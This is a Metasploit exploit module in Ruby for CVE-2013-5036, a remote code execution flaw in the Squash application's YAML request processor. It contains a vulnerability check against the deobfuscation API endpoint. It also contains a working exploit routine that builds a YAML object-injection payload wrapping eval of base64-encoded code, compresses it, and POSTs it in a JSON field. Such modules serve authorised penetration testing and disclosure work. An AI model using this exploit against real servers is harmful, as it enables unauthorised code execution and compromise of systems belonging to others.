##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Squash YAML Code Execution',
      'Description'    => %q{
          This module exploits a remote code execution vulnerability in the
        YAML request processor of the Squash application.
      },
      'Author'         =>
        [
          'Charlie Eriksen' # Discovery, initial exploit
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://ceriksen.com/2013/08/06/squash-remote-code-execution-vulnerability-advisory/'],
          [ 'OSVDB', '95992'],
          [ 'CVE', '2013-5036']
        ],
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Privileged'     => false,
      'Targets'        =>	[ ['Automatic', {} ] ],
      'DisclosureDate' => '2013-08-06',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"])
      ])

  end

  def check
    response = send_request_cgi({
        'uri'     => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
        'method'  => 'POST',
        'ctype'   => 'application/json',
      })

    if response.code == 422
      vprint_status("Got HTTP 422 result, target may be vulnerable")
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    code = Rex::Text.encode_base64(payload.encoded)
    yaml =	"--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
        "'#{rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +
        ": !ruby/object:OpenStruct\n table:\n  :defaults: {}\n"
    payload = Rex::Text.encode_base64(Zlib::Deflate.deflate(yaml)).gsub("\n", "")
    data = "{\"api_key\":\"1\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}"

    send_request_cgi({
      'uri'     => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
      'method'  => 'POST',
      'ctype'   => 'application/json',
      'data'    => data
    })
  end
end
